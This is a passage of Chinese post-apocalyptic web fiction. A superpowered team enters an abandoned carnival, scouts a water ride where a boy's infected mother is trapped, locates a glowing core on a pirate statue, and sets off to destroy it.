他真的,越来越想就这么停下旅程,哪怕是……一同死在金城,也能让他感受到诡异而扭曲的满足。
林随安叹了口气:“差不多吧,不过纠结这些也没用,最后的一切还是要等到了肃州才能揭晓。先说说正事吧,这边什么情况?”
孙亿憋了半天,终于忍不住嚷嚷:“在说我们之前,你们是不是应该先说说你们怎么进来的?”
他根本不用估计就知道这越野车绝对通过不了嘉年华狭窄的检票口!
林随遇瞥了他一眼,挑眉:“你对这游乐园占有欲还挺强的。”
孙亿眼睛一瞪,他愣是没想到新来的这个较之伏苓他们更是牙尖嘴利。
林随遇怼了一句便没再执着,叙述道:“S47有GE的定位,我们就追着来了。至于怎么进的嘉年华……”
他顿了顿,抬眼笑容明媚:“当然是直接给大门撞开啦,外面一会一阵雨的,我可不敢直接下车。”
小水小声地惊呼一声:“那岂不是可以出去了?”
秦晚在月亮号外面试图安抚了两下,无果后叹了口气,她声音冷冽:“我看未必。我们出不去并不是因为大门没有打开,之前你们不是也试过翻墙之类的吗?我看也没一个人逃出去。”
所以就算大门被撞开,那层禁制也依旧在,不毁掉核心也还是出不去。
孙亿莫名觉得有点不对:“你是不是又暗暗骂我们呢?”
秦晚朝他转了一下,嘲弄地哼了一声,她双眸明明被遮得严严实实,却让孙亿莫名感到被白了一眼。
秦晚:“菜鸡多敏感。”
程承没管他们,跟林随遇和林随安解释了一下嘉年华的大致情况,他总结道:“总之,我们接下来要先去毁掉海盗区的核心,然后再去科幻区。”
林随安:“你们去另一个区域都坐的小火车?”
程承“嗯”了一声,提议道:“眼下天气似乎还不错,短时间内应该也不会下雨了,S47太吸引感染者了,要不要先放在这?之后解决了核心的事还能来这边的酒店休息会。”
林随遇站直身子:“行啊,那我们现在走?”
其实,自从进入嘉年华后,他就感觉非常难受,像一条阴暗潮湿的蛇死死缠绕着他的脖子,让他呼吸都有些困难。
林随遇暗暗咂舌。
离肃州最近的核心对人的影响居然如此之大,他下意识觉得越快解决这颗核心越好。
其实人也没什么反对意见,浩浩荡荡的往月台走去。
林随安还没来得及仔细欣赏嘉年华里的景物,目光浏览过周围:“这个游乐园做的还挺不错的。”
祝无忧重重点头:“我也这么觉得,等末世结束后,我们一起来玩呀!”
林随安弯弯眼睛:“好啊,你敢坐这些过山车吗?”
祝无忧挺起胸脯,自豪道:“随安姐,你不要小瞧我啊!”
伏苓摸摸下巴:“说起来,忧忧你今年才十九吧?八年前能玩这些刺激项目吗?”
祝无忧得意的笑容僵住一瞬:“你不要拆穿我嘛……我确实没玩过,但是应该很好玩吧!”
她一蹦一跳的:“末世降临八年了,我还总是想着找机会要来游乐园玩玩呢。”
“我也没有来过游乐园。”林随安看着周围的游乐设施,思索片刻道:“
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不过,这些设施看上去还能运转,或许等把核心的事情解决了,我们可以在这里玩一会?”
秦晚本没打算参与他们的对话,闻言忍不住道:“虽然还能运转,但是已经很久没有人检修了,如果要玩的话,可能还是会有危险。”
祝无忧长长地“啊”了一声难掩失望:“好可惜。”
伏苓看她耷拉着脑袋,眉眼柔和了些:“没事,这么多异能,还不能保证安全吗?或者让程承他们试着检修一下?”
“喂喂,”程承的声音带着笑从他们身后传来:“在你眼里,我居然这么无所不能吗?连过山车都能检修。”
林随遇笑着撞了一下他的肩膀:“人家夸你,你还不乐意?真是身在福中不知福。”
他顿了顿,想起来自己确实从来没有带过林随安来过游乐园,嬉皮笑脸补充道:“没关系的伏苓,程承不会我会啊——虽然我现在不会。”
程承木着脸:“你会我也会。”
伏苓白了身后两个幼稚的人一眼,没回话。
前面的队伍走得有些快了,程承和林随遇落在了最后。程承脸上的笑意收了些许,目光落在伏苓的背影上,话却是在对着林随遇说:“那瓶药水,随安知道吗?”
林随遇也收了笑,安静了两秒,才满不在乎道:“不知道。这种事情说出来意义也不大吧?我觉得这样就挺好的,不会让她有心理负担,也能间接性的保护她。”
程承侧目看了他一眼:“其实我不该多说什么,但说实话,我不觉得她需要你的保护,之后,还多注意安全吧。”
他其实也不太懂那瓶药水,最后到底会造成什么样的后果,但总归是有风险的,他也只能说到这个份上。
林随遇拍了拍他的肩膀:“行了行了,我还能不知道吗?我又怎么舍得让随安一个人?放心,我心里有数。”
他啧了一声:“诶,我怎么觉得你比之前更加老气横秋了?”
程承叹了口气:“年纪大了,不中用了。”
林随遇:“……没记错的话我还比你大几岁。”
程承勾唇笑了笑,火车的汽笛声传来,祝无忧朝他们大喊:“你们俩磨磨蹭蹭干什么呢?”
她身侧一左一右地站着林随安和伏苓,伏苓神色淡淡,目光轻飘飘地落在两人身上。火车到站带来的风吹散她的长发,绚丽的颜色点缀着灰。
林随遇抬眼,对上了林随安的目光,也不知是不是因为所谓的女人的直觉,她微微皱眉,眸子里带上了些许探究和疑惑。
他笑着摇摇头,两秒后抬眼回道:“来了。”
小火车上位置挺多的,但里面的人偶也不少,秦晚想着之后应该不太会需要她有大动作,便将大刀放在站台边缘,率先上车把一众人偶收拾到一起,其他人才上了火车找位置坐下。
祝无忧扒着秦晚的座椅问:“秦晚姐姐,这些人偶都是你做的吗?”
闻言,程承的目光也缓缓移了过去。
秦晚低低地嗯了一声:“死的人太多,我又不希望他们变成感染者后,就失去了自己的独特性,彻底的沦为一个群体中的一员,所以就做了这些人偶代表他们。”
伏苓夸奖道:“画技高超。”
秦晚微微偏头:“谢谢。”
程承问:“所以当时在检票口的人是你吗?”
秦晚颔首:“是我。当时又有几个人变成感染者了,我便想着去检票口为他们打造几个人偶,没想到恰好遇到了你们。八年了,金城几乎没有进过什么外地人,我也不知道你们是来干什么的,所以就一直暗中观察。”
她顿了顿:“哦对,当时在田园区,我就藏在你们栖身餐厅对面的建筑里。”
如此一来,程承瞬间明白了,之前他们百思不得其解的点——月台附近那么多感染者,这个暗中跟踪他们的人到底是如何离开的?
如果这个人是同为感染者的秦晚的话,那月台附近密密麻麻的感染者就根本算不上是问题了。
“我可以冒昧地问一句——”林随安的声音也跟着响起,她目光落在秦晚身上,道:“你为什么要戴着眼罩吗?”
秦晚没怎么犹豫:“不冒昧。戴着眼罩是因为感染者锁定目标最主要靠的是视觉,看到活人会让我失去理智,所以不得不带着。”
她也曾变成一只只有欲望没有理智的野兽,直到偶然间,双眼被遮住,世界在她眼前变得黑暗。
理智与黑暗一同降临。
自那以后,秦晚便不再睁开眼睛看世界。她也曾试过给其他感染者戴上眼罩,试图让他们恢复清醒。
但很遗憾,似乎只有她能在不视物的情况下恢复理智。
林随安皱皱眉:“为什么只有你是特殊的?也是类似于……意志力之类的吗?”
秦晚摇摇头:“或许吧。具体的我也不太清楚。”
海盗区与童话镇离得不算远,他们聊了几句就已经能看到前方巍峨大气的海盗堡垒了。
这次的天气没出现什么异常,有秦晚在,感染者也提前转移到了区域的角落里。一行人下了车,顺着大路朝激流勇进走去。
道路两侧时不时冒出一些海底怪物的触手,祝无忧皱着一张脸:“这啥啊。”
林随安摇摇头:“似乎是某个电影里的怪物?我也不太清楚。”
周围散落着一些残破的船只,湖水追随着道路向前延伸,不远处有几个高大的黄色堡垒,上面有着几个海盗模样的假人,他们或举着望远镜远眺,或架着旧时的长枪巡查,倒是真有点海盗堡的意思。
冯辉走在最前面,不多时便在那栋高大的海盗堡前停了下来。
伏苓随意瞥了一眼前方,过了堡垒后是一片巨大的湖,湖中央是一个类似半岛的存在,多半就是他们所说的激流勇进了。整个设施依水而建,中心的堡垒建筑高高扬起,将轨道的最高点拉至令人胆颤的高度,而落下之后,半个水道都隐入湖水之中。
一条围着栏杆的木制栈道悬在湖水上方,连接着岸边与海盗堡。
而最令人感到麻烦的是,从栈道的后半程开始,挤满了密密麻麻的感染者,伏苓甚至看到激流勇进的水道中央都浮着好些感染者。
她轻啧一声。
接下来的行动必然不会太过顺利了。
冯辉让众人都躲到堡垒后方,他指着中心的建筑解释:“从栈桥过去会进入一个被轨道包围的海盗庄园,从庄园内的楼房上去就能抵达激流勇进的检票口。”
他顿了顿,语气带上了点窘迫:“我必须承认,只凭我们,的确没办法毁掉这颗核心。”
这个“我们”,自然是没有带上伏苓一行人的。
程承脑子转得飞快,正在思索着对策,闻言点点头,宽慰道:“你们人少,硬闯肯定是不现实的。”
冯辉冲他感激地笑了笑,又皱起了眉头:“里面具体是什么情况我们还是不知道,如果两眼一抹黑地进去会不会太冒险了?”
核心不在外部的话,多半是在设施上了。
他们要坐上设备,要防止水花溅到自己身上,要对抗轨道上的感染者,还要寻找核心所在,如果一遍找不到说不定还要重复好几遍,风险太大,运气不好的话说不准会无人生还。
“我去探探路吧。”林随安突然出声。
孙亿嘲弄地看了她一眼,小声嘀咕:“这么想出风头?一个女人能有什么用?”
林随遇的目光轻飘飘落到他的身上,原本总是笑意满满的眸子冷下来如同冰刀一般,孙亿没忍住打了个寒颤。
冯辉摁了摁太阳穴,孙亿这人嘴太脏,总是这样之后还不知道会惹出什么麻烦来。
林随安没理孙亿,这种长了根什么玩意就以为自己高人一等的人实在太多,她一向不屑与他们争辩,只喜欢用结果狠狠打他们的脸。
伏苓靠在墙上,问道:“你需要靠近一点吗?我可以帮你引开感染者。”
林随安摇摇头:“不用,从这里就可以直接过去了,不然我也不会这么大放厥词,肯定是有了把握才自告奋勇。”
“哇。”祝无忧瞪大眼睛:“这么远可以直接过去吗?”
林随安:“对啊,之前在消防站跟那两人打的时候摸索出来的,如果距离稍微近一点的话,我还可以带着你一起。”
祝无忧微笑:“这就不必了。”
孙亿听了半天都不知道他们在说什么,被忽视的感觉很不好受,他的声音尖锐地插进来:“什么意思?你们搞什么加密通话?”
然而无人在意。
林随遇上前,眸子里是化不开的担忧,如打翻的厚重浓墨:“注意安全。”
林随安点点头,正准备动用异能的时候,她的衣角突然被人扯住。
身形瘦小的男孩抿着唇,大大的眼睛里满是祈求:“姐姐,你是要传送进去吗?”
伏苓笑了一声,指着小水对程承意有所指:“你看,有的孩子都猜出来了,有的人却还在什么意思。”
程承偏头弯了弯眼。之后他们还要合作,不能笑得太夸张,免得有些人撂挑子不干。
因为长期发育不良,小水长得不高,林随安见他高高仰着头,便蹲下身子:“对,是有什么事情吗?”
小水舔舔干涸的唇瓣,面上短暂浮现了一丝犹豫,担忧很快被坚定所代替:“我想请你……帮我看看,我的妈妈在不在里面。”
68. 废弃游乐场05
林随安微微一愣。
小水似乎是担心自己耽误时间,明明自己跟上来的时候答应过伏苓,不会拖他们后腿,他一路上也一直安安静静生怕自己碍事,但此刻想再次见到妈妈的心让他不顾一切地想要赌一赌。
如果呢,如果他们真的愿意帮自己呢?
他急切道:“我妈妈就是在设备运行的过程中变成感染者的,她应该还在里面……如果,如果姐姐方便的话,能不能帮我看一下她在不在?不用特意去找的,就是……顺便看看她在不在。”
不知是不是因为情绪激动,他一开口眼睛就红了,说话语无伦次,到最后的时候,声音几乎低得听不见。
他怎么会不知道此行凶险,也早就做好了被拒绝的结局。
他知道,这些新来的哥哥姐姐们实力很强,也都是很好很好的人,但没有心善的人就必须接受他无理的要求这一道理,拒绝和同意的权力永远掌握在被求助者的手中,他也心甘情愿地接受结果。
“可以。”林随安的声音响起。
小水猛地抬起头,因为绝望而流出的泪水半挂在他颊边。林随安温柔地为他拂去泪水,轻声重复:“可以。不过需要你描述一下你妈妈的形象,比如穿的什么颜色的衣服,或者有没有什么特别显眼的装饰。”
小水呆呆地看着她,眼泪止不住地流,他抬起手狠狠地擦干了眼泪:“有!妈妈脸上有一块红色的胎记。”
他用手指了指右侧额角:“在这里。”
林随安点点头,她站起身来,看了眼林随遇:“那我去了。”
林随遇轻轻点头。
伏苓应声:“不要勉强。”
林随安笑笑:“好。”
她抬眼看向湖中心的设备,下一瞬便消失在原地。
孙亿瞪大眼睛:“这什么?”
林随遇看了他一眼,轻嗤了声,转身把注意力都放在远处的设施上。其实有药水在,随安大概率不会出什么事情,但他还是总忍不住担心。
孙亿见没人睬他,又跑到小水旁边:“诶,小水,你就跟你妈来嘉年华玩的?”
小水眼巴巴地看着前面,闻言目不斜视地点点头:“嗯,那天是我的生日,妈妈是带我来过生日的。”
孙亿干巴巴地“哦”了一声,他挠挠头:“那你爸爸怎么不来?”
小水握紧拳头:“我没有爸爸。”
孙亿笑他傻:“人怎么会没有爸爸呢?”
冯辉简直被他蠢到了,捂着脸转过身去。
小水终于舍得将目光移向孙亿:“我从来没有见过爸爸,妈妈说那个人不是我的爸爸,他是一个恶人,而我是恶的结晶。”
伏苓撇了小水一眼。
似乎是很久没有想起往事,小水的眼里涌上了一阵思念:“但是妈妈也说,虽然我是恶的结晶,但我对她而言,却是唯一的宝贝。”
他顿了顿:“虽然我不懂这是什么意思,但我知道我的爸爸一定不是好人,妈妈也一定不会觉得我应该喊他爸爸。”
伏苓看孙亿终于哑巴了,才又转了回去。
……
林随安选中的落地点是在外面就可以看到的巨石后方,石头很大,十人环抱才能将它整个抱住,朝向外侧的一面上面写着“海上冲浪”,笔画的始终都微微卷起,像一个个枯瘦的枝桠。
周围的小片地面上倒是没有感染者,林随安小心观察了一下周围,从石头一侧探出脑袋。
石头下方是隐入湖水中的轨道,轨道上游荡着一群漫无目的的感染者,他们大多被湖水泡得发胀,衣服早已看不清颜色。
林随安暗暗松了口气,幸好小水给的特征不是衣服的颜色,不然可就没法了。
她飞速扫过这些人的额角,没有发现她要找的人。
周围的一切都毫无异常,也没有任何物品让她感觉到核心的气息,她扶着石头,目光落在了绕过石头蜿蜒向后方的轨道。
再往后似乎还有一个下落轨道,面前的轨道又缓缓地向上爬去。林随安沉思两秒,顺着轨道快速移动。
每一个落点相隔数十米,她对自己的异能熟悉得可怕,每次出现在视野里的时间都不到0.1秒。
底下的有几个感染者瞥到了她的身影,刚准备有所动作,前方早已空无一人,那感染者呆呆看着空荡荡的轨道,半晌又讷讷开始晃悠。
空间将周围的世界折皱,一切都如同在不断荡漾的水中,林随遇速度飞快,确定了一路下来都没有红色胎记的女人,最终停在了背面的巨型海盗雕像的不远处。
周围种满了乱七八糟的海边树木,中间还有一个残破的大船,林随安躲在船身后面,藏住了自己的身体。
这里已经是设施中比较靠后的一段了,前方是轨道的最高点,顺着建筑直直滑落下来,到了下面,轨道则直接消失了,取而代之的是将近三个轨道宽度的水道,看上去似乎是从这里开始后面是类似于漂流的存在。
而在这一宽阔的水道中,藏匿着数不清的感染者。但林随安只是随意瞥了一眼,便将目光放在了她对面的海盗雕像上。
那海盗就是最经典的海盗造型,高高扬起的帽子最高点几乎有十米高,而那帽子的正面中心,镶嵌着一颗红到娇艳的玛瑙。
林随安眉心一跳,身侧浓厚的压迫感愈发强烈,她意识到,这个玛瑙多半就是他们要找的核心。
但此刻,她试图使用异能靠近雕像,却发现自己无法再次空间移动了。
她的额间渗出了汗水。
若是在这里失去异能,那就糟了。
明明紧张到指尖都微微颤抖,林随安的思路却格外清晰。
她扫了眼周围,再次尝试发动异能移动到那片宽阔的水道边缘——那里是水道中距离雕像最远的地方。
这一次,她成功了。
但此处没有落脚点,林随安精神紧绷,在脚尖触及水面的前一秒,再次瞬移至原地。
她气息不稳,却缓缓勾起了嘴角。
看来这颗核心的影响范围有限,只要他们经过此处时沿着边缘走,异能就不会失效。
查探到准确信息后,林随安再次瞬移,隔着安全距离飞快瞬移,寻找着小水母亲的身影。
轨道前段她基本上都走了一遍,那必然是在后段了。
接下来的轨道剩得不多,水道在快要抵达终点的地方缓缓变窄,但最后阶段的感染者数量却是不少,他们密密麻麻地挤在水道中央,几乎就要叠在一起。
林随安就是在这段上发现了小水的母亲。
她在的地方几乎就在出口处,林随安试着用异能将她转移出来,却没有任何作用。
她皱了皱眉,只得先瞬移返回伏苓他们那。
一落地,她还没来得及说话,一只滚烫的手就握上了她的手腕,林随安一愣,转头对上了林随遇黑沉沉的眸子。
他道:“有没有受伤?”
林随安不知怪异从何而出,只轻咳了声,摇摇头道:“没有。”
她这句话说完,林随遇才仿佛松了口气,紧绷的神经一下变得松弛。他松开林随安的手腕,又恢复了笑嘻嘻的模样:“不愧是我们随安。”
祝无忧傻笑:“对!随安牛逼!”
林随安轻轻眨了眨眼睛,手腕刚被握住的地方仿佛滚烫依旧,她笑:“我还没说消息呢就开始夸了吗?”
祝无忧夸张地“哇”了一声:“你都能从那么多感染者里全身而退了,不管有没有得到准确消息,都很牛逼好吧!”
伏苓走近:“确实。怎么样?”
林随遇将在里面看到的情况飞快叙述了一遍,然后看向仰着脑袋眼巴巴看着自己的小水,他似乎是担心自己说话会打扰他们干正事,一直安安静静的。
林随安蹲下身子,道:“报告长官,你的任务我也完成了。”
小水的眸子“唰”地一下亮了。
林随安弯弯眼睛,轻声告诉了他母亲的位置。小水也很懂事,按耐下激动的兴趣道了好几声谢。
伏苓碰了碰程承的胳膊:“有对策没?”
程承点点头:“有一点。”
他抬眼看向冯辉他们,开口道:“各位,我有一个计划,但是可能需要我们一起合作。”
冯辉立马应声:“你说,我们一定尽全力配合。”
孙亿也难得没嘴贱:“对,在这待了这么长时间,兄弟们都快憋疯了,只要有一点希望,我们都不会放弃。”
程承:“好。那能否先告知一下你们的异能情况?”
几人飞快地叙述了一下自己的情况,冯辉的异能是控土,只要脚下踩着土地,他就能让土变成矛和盾。
孙亿的异能是控水,他们俩在这个地方作战,倒是很有优势,怪不得能挺到现在。
剩下的几人的异能都中规中矩,没有什么特别需要注意的。
程承大致了解了情况,继续道:“里面具体什么情况,大家应该都知道了一点。我的想法是,兵分三路。”
“冯叔您带着队友帮我们解决外面的感染者,并且保证在我们还没有出来之前,这些感染者不会回到这里。”
冯辉面露迟疑之色:“这个我们恐怕……”
程承打断道:“别担心,我希望秦晚小姐也能一起,另外,林随遇也去。”
林随遇的异能适合大范围进攻,虽然程承更希望他能跟他们一起进入设备,但外面的人实力不够,只能将他匀出去支援。
林随遇没什么意见,即使程承不说,他也知道他的大概想法。
秦晚抿了抿唇,似乎是不愿意与冯辉他们合作,但也还是什么都没说,算是默认了。
见大家都没有什么意见,程承放下心来,继续道:“第二队的人马是我,祝无忧和随安。我们三个集中在一个船舱内,率先行动清理轨道上的感染者。”
祝无忧眨眨眼睛:“那伏苓呢?”
林随安看向程承,了然道:“伏苓单独一个船舱,跟在我们之后。”
程承点点头:“没错。这种较为强大的核心我们在丰镐见过,虽然这个核心未必和之前一样。但从随安的描述上来看,我们这些异能者多半是无法靠近的,所以毁掉这颗核心,只能让伏苓来。”
伏苓挠挠下巴,漫不经心地“嗯”了一声。
“等等,我还有个问题。”祝无忧举起手:“那雕像十米高,能量枪也多半用不了了,软剑也够不着呀。”
林随安冷静道:“我用异能托她上去。”
她顿了顿,看向伏苓:“但是受核心影响,可能没有办法将你直接托到雕像上方。”
伏苓脸上没什么表情,语气却嚣张得不可一世,仿佛只要她上场,就没有解决不了的事情:“没事,给个力就行。”
“对了。”伏苓转头看向秦晚:“在这个过程中,可能不免会伤害到那些感染者。”
秦晚愣了一下,才意识到伏苓是在跟自己说话。
她笑着摇摇头:“我明白。我又不是圣母,自然知道有些牺牲是必要的,我也只是希望在力所能及的时候尽量护住他们。”
她似乎还想说什么,但再说下去恐怕就变了味,便在此处止住了话题。
“那就这么定了?”林随遇大概明白秦晚的情况,他抱着臂,目光转向仰着头一脸欲言又止的小水:“那这小孩呢?”
祝无忧左右看看,指着不远处的小型堡垒:“小水要不你先躲那里吧?”
说到底,这孩子实力太弱,最好是呆在外面,但林随遇他们要对付的感染者可不比里面少,怕是没什么精力照看他。这么看来,最好的选择还是让他找个地方躲起来。
“我不想去。”小水稚嫩的声音响起,他目光坚定地看向程承:“我想跟你们一起。”
林随安耐心劝道:“我们这队要开路,你跟着太危险了。”
她大概明白小水想跟着去的意图,但实在太危险了。
那么多感染者,若是在一片平地上,她倒没觉得有什么困难,但这些感染者都聚集在飞速行驶的设施轨道上,他们没有办法控制设施船舱的行驶,只能被动地承受各种各样意想不到的攻击。
在这种情况下,她没有办法再去顾及一个手无寸铁的孩子的安危。
林随安尽量安抚他:“我知道你是想见妈妈,我们会尽量想办法把她带出来跟你见面,你看这样可以吗?”
话音未落,小水陡然落下泪来,大颗大颗的泪珠从他的脸颊滑下,他勉强维持着正常的说话语调:“可是姐姐,八年前我就知道,妈妈是没有办法离开这个设施的。”
这里的湖水似乎是被什么影响,所有落入水中的人都没有办法再离开。雨灾刚降临的时候,妈妈就掉入了水中,他努力了很久,不管用什么办法,妈妈都没办法,离开水。
他又怎么会不知道,比起自己进入设施,让哥哥姐姐们把妈妈带出来,其实是更简单的方法。
可是当妈妈没办法出来的时候,只能由他进去了。
林随安沉默了一瞬。程承却迅速捕捉到了有效信息:“你是说掉入湖水后就没办法再出来了?”
祝无忧看着眼泪啪嗒啪嗒掉的小水,又看向一脸正直的程承,指责道:“你怎么没有同理心啊?过会儿再问嘛。”
“哦。”程承也意识到自己这时候说这话有点不好,讪讪摸了摸鼻子。
伏苓看他耳根红了一片,勾了勾唇。
“没、没关系的。”小水连忙出声,他飞快擦干眼泪:“我不太清楚,但是妈妈掉入湖水之后,就再也出不来了。”
林随遇:“估计是被那核心影响的。”
他顿了顿,露出了一丝疑惑的神情:“你说这个核心到底是想做什么?”
程承接话:“你还记得吗,之前我们猜测过,核心是人为的。而既然是人为,就一定带有某种目的。”
就像自然界生物的一切变迁都是为了让自己更好的生存。如果核心是自然而生,而它又是如此强大,那他所造成的影响,必然对自己有利。
而如果是人为,事情就变得复杂起来了。
因为自然生者所造成的一切都是为了本身,而人为造者可能是为了自己,也可能是为了另一个更深层次的目标。
程承呼出一口气,摇摇头:“现在去探讨这些出不了什么结果的。”
“好吧。”林随遇也没再纠结:“伏苓,这小孩咋办?”
一时间,几乎所有人的目光都转到了伏苓身上。
孙亿面露疑惑:“为啥问她?”
他身后的同伴终于忍不住了拍拍他的肩膀小声道:“你傻啊,你没看出来这个叫伏苓的才是他们队伍的核心吗?”
孙亿“啊”了一声:“没看出来啊。她不是无能力者吗?她也能当核心……这几人实力这么差?”
同伴:……你牛。
伏苓看了眼小水,后者眼眶通红,眼里满是祈求与坚定,她收回目光,道:“那就带着呗。”
小水眼睛一亮,握着拳头道:“谢谢伏苓姐姐!我会乖乖躲在舱里,绝不会给你们添麻烦的!”
冯辉还是有点担心:“会不会太危险了?要是有什么意外情况,他也没有自保能力啊。”
孙亿还在一旁帮腔:“就是啊,小水。你这跟过去不是拖人后腿吗?”
小水低着头,也不知该如何反驳。倒是伏苓抬眼,淡漠道:“尽管拖,能拖到我们,算我输。”
冯辉:“……”
这句话的意思就是他们的实力强到即便有人拖后腿也能完美完成这次任务,可谓嚣张至极。
祝无忧满脸震惊地转头:“伏苓,你这句话能不能撤回?我也想说。”
伏苓:“好,撤回了。”
祝无忧绷紧嘴角,压低声音:“尽管拖——”
程承压下上扬的嘴角,劝道:“行了行了,准备出发吧,”
林随遇漫不经心地勾唇:“嗯,早结束早休息。”
他话毕,第一个踩上栈桥。
这栈桥长达数十米,最前方没有感染者的地段仅仅占了其中不到十分之一,他踩上栈桥的木制板块的那一瞬间,前方的感染者如同饿了许久的野兽嗅到了新鲜事物的气息,齐刷刷地转过头来。
哪怕隔了有一段路程,林随遇都能看见他们瞳孔中红色的杀意。
程承在后面小声提醒:“这里的感染者比之前我们遇到的强上不少,你注意安全。”
他倒不是不相信林随遇的实力,只是担心那药水的效果会不会让他遇到些意料之外的事情。
微风吹皱湖水,如同吹过放久了的粥皮,带着些许血腥和腐烂的气味。
与不远处感染者嘶吼声一同响起来的,是林随遇满是傲气的声音:“放心,我要是连这点事都做不好,归队又有什么意义呢?”
话音落下,强光如能量波贯穿栈桥,桥上的感染者在一瞬间被光束撞飞掉入湖中。
祝无忧卧槽一声:“我还以为是伏苓开枪了。”
林随安:“还是加强版的。”
林随遇有些无奈,语速飞快:“别贫了,快走。”
他率先沿着栈桥向前奔去,众人连忙跟上,掉入湖水中的感染者像是被海藻缠绕住身体,怎么也无法上来,但即便如此,也不妨碍他们勾着脖子将血迹斑驳的手臂伸入栈桥上。
伏苓一把拎起小水的后衣领,狰狞的爪子从他悬空而起的脚下划过。伏苓一脚踩在那爪子上,将小水短暂抛在空中,单手扣住他的腰往前跑。
祝无忧还有心情调侃:“伏苓你这样好像强抢民女啊哈哈哈。”
伏苓看她一眼:“还有力气说话,看来是如今的情况还不够刺激。”
祝无忧微笑着做了一个给嘴巴拉拉链的动作。
几人是这几年来真枪实战过无数次的精英,栈桥虽长,对他们而言也不过数十秒就已经抵达终点。
连接栈桥的是之前提到过的海盗庄园,越过那张挂着铁饰和海盗标志的沉重木门,能瞧见里面的花园中挤满了密密麻麻的感染者。而再往里的那栋三层小楼房的窗户里也能瞧见无数感染者的人头。
林随遇面上看不出什么表情,干脆利落地开始发号施令,一如八年前在集庆的模样:“程承,我送你们上去,那个……”
他瞥了一眼冯辉,似乎是在思考他的名字:“你们尝试将这些感染者引出去。”
冯辉点点头:“没问题。”
林随遇没再废话,他抬手,一道光束直抵前方,直到没入前方的小楼房。感染者龇牙咧嘴地冲过来想要撕咬他,但下一秒,横在半空的光束突然向上下延伸,形成一块类似于屏障的存在,然后这块光屏一分为二,压着旁边的感染者向左右靠去。
林随遇的额角渗出汗水,他言简意赅:“走,我撑不了太久。”
程承转头冲冯辉道:“外面就拜托你们了。”
冯辉摆摆手:“放心。”
程承立马向前奔去,伏苓紧随其后,这条由光隔出来的安全道路算不上宽,只有一个人的宽度,左右狰狞的脸贴在光屏上,仿佛下一秒就要咬断他们的脖子。
祝无忧抖了两下,没敢再乱瞟。
即将抵达小楼时,伏苓飞快扔了个不知什么东西过去。程承还没看清,就听见前方的楼房墙面炸裂开来。
光屏飞速在前方也升了起来,隔绝了碎石和倾斜掉落的感染者。
身后,强劲的水系异能撞破左右的感染者群,好些感染者的注意力顿时被吸引了过去,追着他们上了栈桥。林随遇的压力稍稍减轻,但从楼房里跳下来的感染者依旧源源不断。
检票口就在三人的上方,但眼前满是感染者不顾一切地冲过来,林随安冷声道:“我来传送。”
她抓住程承的肩膀:“你先。”
下一秒,程承的身影顿时在原地消失,出现在检票口后方,他瞳孔微颤,对上了检票口外感染者的血色眸子,那感染者下意识张大嘴巴嘶吼着扑过来,却被一道自地下升起的石墙拦在外面。
这是冯辉的异能!
程承顿时松了口气,观察起了检票口内的场景。
设施的出口和入口是隔开的,左边有一道隔着的石墙,出口多半是在那边了,根据林随安所说,出口处有很多感染者,但入口这边却安安静静的。
停在前方的舱体外形模仿船体,前方是夸张的船头,带有雕刻精美的海盗图腾和船首像,舱体两侧装饰着仿古的木板和铁锚。
身后熟悉的气息传来,程承下意识伸手扶住了伏苓的腰,惯性作用让伏苓的鼻尖碰上了他的唇瓣,程承没躲,轻声问:“没事吧?”
伏苓摇摇头,扶着他的手臂战直身体。
随后小水、祝无忧被相继传来,林随安也随之到来,她飞快观察了一下周围:“这边居然没有感染者?”
她第一个将程承传过来就是担心检票口后方会有感染者突袭,想让程承来解决一下。
程承摇摇头,指着前方安静停在原地的设备船舱:“你看,这边的轨道是远高于水面的,多半是在出口处结束漂流后用轨道链条将船舱拉到上方,那些感染者多半是没办法顺着轨道上来的。”
林随安点着头走到站台边缘,船体后面还有几个船正在排队,她又走到了一旁的控制台上,琢磨了一会道:“好像得用这个操作。”
她试着摁了几个按钮,只见一旁船舱
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座位上的压肩卡了壳似的缓缓落下。
祝无忧看着这生了锈的压肩面无表情问道:“这设备安全吗?”
伏苓瘪瘪嘴,摇摇头:“难说。”
祝无忧转头哀怨看她:“你又吓我。”
程承抱着臂摸摸下巴:“没吓你,这玩意八年没检修了,还有一般泡在水里。”
祝无忧脸顿时垮了:“刚刚分队的时候我就想说,其实我更适合呆在外面引开感染者。”
林随安看他们斗嘴笑了笑,又问:“伏苓那辆怎么办?”
他们大部队肯定得先走去开路,最后只剩下伏苓一个人,控制台又该谁按呢?
“哦!”祝无忧灵光一闪,掏出星牌开始洗牌抽卡:“我看看能不能抽出来个伪人。”
程承:“……什么伪人,那叫假人。”
祝无忧无辜看他:“差不多啊。”
她凭着直觉抽出一张,星牌顿时化作一个木偶人,傻愣愣地站在原地。
祝无忧把牌收起来:“一会伏苓你操作的时候让他跟着你学就可以啦!”
林随安的目光落在木偶人上,又探究一般地转向祝无忧。
祝无忧被她看得有些紧张,她眨眨眼睛:“怎、怎么了?”
林随安斟酌着语句:“你有没有觉得,你的异能变得更加随心所欲了?”
如果她没记错的话,之前在集庆的时候祝无忧抽个飞行牌都要看运气,但现在已经能一发抽出想要的牌了。
而且……当时她的卡牌内容有现在这么丰富吗?
祝无忧想了想,点点头:“好像确实有一点,之前我跟程承还聊过,我们的异能在逐渐跟身体融合,是不是有这个的原因?”
真的这么简单吗?
林随安觉得祝无忧的异能进步得太快了,快到仅仅是一天未见,她就已经能使用出令她也有些惊诧的实力。
但此刻想这些到底是时候不对,她甩开脑中混乱的思绪,道:“嗯,那我们先上船吧。”
一辆船只有三排位置,程承和林随安一人坐在第一排一人坐在最后一排,祝无忧和小水则窝在了中间位置。
伏苓懒散地站在控制台边:“准备好了吗?”
祝无忧视死如归:“准备好了!”
伏苓笑了一下,摁下了压肩的按钮,拉下压肩的时候,程承顿了顿:“这个途中能打开吗?要是遇到什么突发情况就糟了。”
林随安大力晃动了两下压肩,听到了机械零件碰撞的声音:“应该能扯断。”
祝无忧笑容凄惨:“它甚至能徒手扯断……”
伏苓笑她:“人家小水都没说什么。”
小水乖乖坐在座位上,将安全带插得好好的,闻言抬眼看伏苓:“不一样的,我是因为要见到妈妈了,所以不怕,但是无忧姐姐害怕很正常的。”
祝无忧热泪盈眶:“小水你真好呜呜呜。”
伏苓面无表情地摁下启动。
叮铃铃——
刺耳的铃声响起,船舱内部的前方传来环绕的男人歌声,似乎是在歌颂海盗。
程承看向伏苓,叮嘱道:“注意安全。”
伏苓微微颔首:“放心。”
